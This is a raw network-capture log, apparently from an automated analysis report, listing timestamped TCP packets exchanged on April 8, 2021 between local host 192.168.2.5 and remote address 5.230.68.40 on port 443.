Apr 8, 2021 18:46:39.876600027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876619101 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.876629114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876657963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876658916 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.876688004 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876703978 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.876717091 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876744986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876774073 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.876806021 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.876847982 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.882091999 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.882175922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.882229090 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.882327080 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.931252003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.931324005 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.931375027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.931417942 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.931427956 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.931462049 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.931479931 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.931546926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.931593895 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.931624889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.931699038 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.931747913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.931818962 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.931888103 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.931907892 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.931960106 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932007074 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.932013035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932058096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932106018 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932113886 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.932157993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932204962 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.932208061 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932259083 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932307959 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932308912 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.932379961 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932429075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932477951 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932480097 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.932528019 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932579041 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932579041 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.932629108 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932629108 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.932681084 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932722092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932734013 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.932770967 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932821035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932826042 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.932889938 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932952881 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.932960987 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.933006048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933058023 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933104992 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.933116913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933171034 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.933177948 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933254957 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933311939 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.933311939 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933371067 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933427095 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.933458090 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933500051 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933548927 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933598042 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933648109 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933697939 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933706045 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.933743954 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.933748960 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933800936 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933820009 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.933852911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933902979 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.933906078 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.933953047 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934004068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934010029 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.934053898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934103966 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934107065 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.934144974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934194088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934199095 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.934245110 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934293985 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934303999 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.934357882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934365034 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.934407949 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934457064 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934461117 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.934506893 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934556007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934577942 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.934612036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934665918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934675932 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.934715033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934763908 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934815884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934825897 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.934864044 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.934876919 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.934952021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935014009 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.935031891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935107946 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935178995 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935195923 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.935241938 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935301065 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.935302019 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935364962 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935425043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935496092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935549021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935553074 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.935594082 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.935628891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935697079 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935704947 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.935759068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935807943 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.935820103 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935880899 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.935940981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936002970 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.936018944 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936072111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936120987 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936125040 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.936203003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936234951 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.936269045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936328888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936379910 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.936388016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936461926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936513901 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936522961 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.936574936 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936635971 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.936638117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936687946 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.936714888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936783075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936836958 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.936860085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936922073 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.936984062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.937026024 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.937043905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.937108994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.937109947 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.937171936 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.938625097 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.956455946 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.956522942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.956640005 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.956639051 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.956813097 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.956885099 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.956918955 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.956953049 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.957036972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.957046032 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.957092047 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.957139015 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.957171917 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.957195997 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.957257032 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.957314968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.957315922 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.957374096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.957457066 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.957483053 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.957499027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.957549095 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.969965935 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.970185995 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.970199108 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.970268965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.970335007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.970343113 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.970395088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.970462084 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.970467091 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.970525980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.970582962 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.970582962 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.970659971 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.970740080 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.970777035 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.970823050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.970884085 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.970897913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.970942974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.971009016 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.995223999 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.995292902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.995343924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.995400906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.995444059 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.995466948 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.995501041 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.995522976 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.995584965 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.995595932 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.995661020 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.995712042 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.995760918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.995768070 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.995825052 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.995882988 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.995879889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.995934010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.995950937 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.996012926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996063948 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996109009 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.996125937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996181965 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.996186972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996243000 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996294022 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.996299982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996356010 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996412992 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.996413946 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996469975 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996526957 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996587992 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996592045 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.996643066 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996690989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996726036 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.996745110 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.996752977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996815920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996870995 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996925116 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.996927023 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.996984005 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997035027 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.997035980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997087955 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997138977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997143984 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.997185946 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.997196913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997252941 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997303963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997308016 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.997361898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997411966 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.997437000 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997488022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997539043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997541904 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.997589111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997638941 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997639894 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.997689962 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997739077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997788906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997787952 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.997838974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997929096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.997970104 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.998004913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.998070002 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.998070002 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.998131990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.998183966 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.998189926 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.998241901 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.998354912 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.998434067 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.998483896 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.998518944 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.998538017 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.998589039 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.998647928 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.998688936 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.998763084 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.998819113 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.998821020 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.998881102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.998935938 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.998971939 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999033928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999094009 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999094963 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.999147892 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999150991 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.999208927 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999269962 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999305010 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.999332905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999397039 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999459028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999521971 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999584913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999648094 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999708891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999769926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999831915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999893904 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999922991 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.999946117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:39.999969006 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.999978065 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.999985933 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:39.999991894 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.000000000 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.000006914 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000071049 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000133038 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000149012 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.000197887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.000260115 CEST	443	49727	5.230.68.40	192.168.2.5
